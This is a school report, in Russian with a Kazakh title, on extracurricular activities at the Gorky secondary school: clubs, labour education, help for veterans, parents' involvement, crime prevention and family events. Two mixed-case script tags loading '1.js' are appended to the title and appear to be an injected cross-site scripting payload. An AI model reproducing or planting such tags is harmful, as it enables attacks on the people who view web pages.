Горький атындағы орта мектебі-бақшасы оқушыларының сабақтан тыс ермегі<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Занятость учащихся во внеурочное

время

СШ-с им. Горького

      Сегодняшняя

школа – это сложная система, где воспитание и обучение выступают в качестве

важнейших составляющих элементов. Воспитание уже не может рассматриваться как

дополнение, довесок к обучению.

Сегодня целью воспитания школьников должно быть создание

условий для формирования и развития личности. Воспитание в каждом ребенке

человечности, доброты, гражданственности, творческого отношения к труду,

бережного отношения ко всему живому, стремление к успеху, охрана культуры

своего народа – вот ведущие ценности. Особое внимание в своей воспитательной

работе школа уделяет внеурочной деятельности.

      В рамках программы «Рухани жаңғыру» в системе дополнительного образования на базе школы функционируют

кружки по интересам, 9 кружков и 6 секций.  Кружковой работой охвачено100% учащихся

школы. Созданы все условия для реализации творческих способностей учащихся.

Направления кружковой деятельности самые разнообразные:

декоративно-прикладное творчество,  хоровое искусство, военно-спортивная

деятельность.

ДМШ  г. Акколь 

посещают 8  учащихся.  7 учащихся по классу фортепиано и 1

учащийся по классу баяна.

      Общественно-полезная деятельность,

организованная в школе содействовала социализации школьников, включая их в

проблемы общества, приобщая к активному преобразованию действительности. Это

дежурство по школе, работа учащихся по озеленению школы, по благоустройству

школьной территории, шефская работа над ветеранами тыла и труда, участие в

общественных акциях.

      Учащиеся школы осуществляют  шефскую помощь над ветеранами труда.

Учащиеся проводят встречи, уроки мужества, часы общения с ветеранами войны и

тружениками тыла. Оказывают помощь в быту ветеранам труда. Учащимися школы

организована персональная шефская помощь одиноким ветеранам в проведении

весенних полевых работ и обустройстве хозяйственных построек.

     Трудовое воспитание - важнейший фактор

воспитания детей. Значение трудового воспитания заключается в том, что

благодаря его практическому, прикладному характеру есть возможность учить

школьников эффективно работать, творить, созидать, соединяя умственную

деятельность с физической. Внеурочная деятельность трудового воспитания

включает работу на пришкольном участке, создание цветников. Основная задача

трудового воспитания школьников - привить любовь к труду. Учащиеся школы

активно участвует в благоустройстве школьной территории, села, участвуют в

экологических субботниках и десантах.

       К

участию во внеурочной деятельности школьников  привлекаем родителей.

Многообразны формы сотворчества родителей и учащихся в

процессе подготовки и проведения массовых внеурочных мероприятий. 

При подготовке вечера, спектакля, КВН родители сотрудничают с подростками и

старшеклассниками в оформлении сцены и зрительного зала. Иногда родители выступают

на вечере вместе с детьми. Сотворчество родителей и детей при подготовке к

вечерам осуществляется как в школе, так и дома.

        Детское объединение – это

добровольная, самодеятельная, самоуправляемая общественная организация детей,

подростков и взрослых.

Все усилия в

детской организации направлены на то, чтобы помочь детям войти в общество,

сформировать у них стремление к постоянству, обновлению, создать условия для

творчества через многообразные формы деятельности. Забота о духовном здоровье

детей, всестороннем их развитии, приобщение к общечеловеческим ценностям и

социально-значимым делам – вот главная задача организации. Только познавая

мир и себя как его частицу, вступая в разнообразные отношения с людьми,

ребенок становится членом общества.

Детская

организация нужна, чтобы интересно проводить школьную жизнь. В её основу

должно быть положено добро, справедливость, уважение к каждому, чтобы дети и

взрослые равноправно сотрудничали, чтобы ребенок мог найти защиту своим

интересам.

Члены ДО

организовывают и проводят такие мероприятия, как «День учителя», «День

пожилых людей», «Осенний бал», «8 марта», «Стартинейджер», «Мисс школа».

Участвуют в тимуровском движении, КВН, ведут пропаганду здорового образа

жизни, работает Совет старшекласссников.

         Одним из основных направлений

воспитательной работы остается профилактика правонарушений, формирование

нравственности и культуры среди подростков. Социально-экономические реформы

последнего времени очень болезненно сказываются на неустойчивой психике

подрастающего поколения. Особенно остро встали проблемы в сфере

жизнедеятельности и правовой защите детей, находящихся в социально опасном

положении. 

Педагогический коллектив нашей школы проводил целенаправленную работу по

правовому воспитанию и профилактике правонарушений среди обучающихся. В школе

создан Совет профилактики, до учащихся доведены номера телефонов «горячей

линии», разработаны и утверждены операции «Дети в ночном городе»,

«Подросток». На заседаниях совета решаются следующие вопросы: поведение,

успеваемость, посещаемость учащихся, постановка и снятие с внутришкольного

контроля «трудных» подростков, работа с неблагополучными семьями. Членами

совета посещаются семьи, находящиеся в социально опасном положении;

проверяются условия содержания и воспитания несовершеннолетних.

В

школе стали традиционными семейные праздники:

«Здоровая

семья – счастливая страна», «Папа, мама, я –счастливая семья»  1-4 классы

Праздничная

программа «День семьи» 5-7 классы

«

Девочка. Девушка. Женщина» 9-11 классы

Особое

значение уделяется участию школьников  в районных, областных конкурсах. Ребята,

которые принимают участие в этих конкурсах, приобретают новые навыки и умения

и получают возможность проявить свои таланты за пределами школы, что зачастую

положительно сказывается на их дальнейшем творческом росте и позволяет выйти

на более высокий уровень.

     В нашей школе школьный коллектив

дифференцирован и в то же время выступает как единое целое, как содружество

детей и взрослых, объединенных общей целью, общей деятельностью и общей

ответственностью за судьбу школы.

Директор школы                      Работягова Г. К.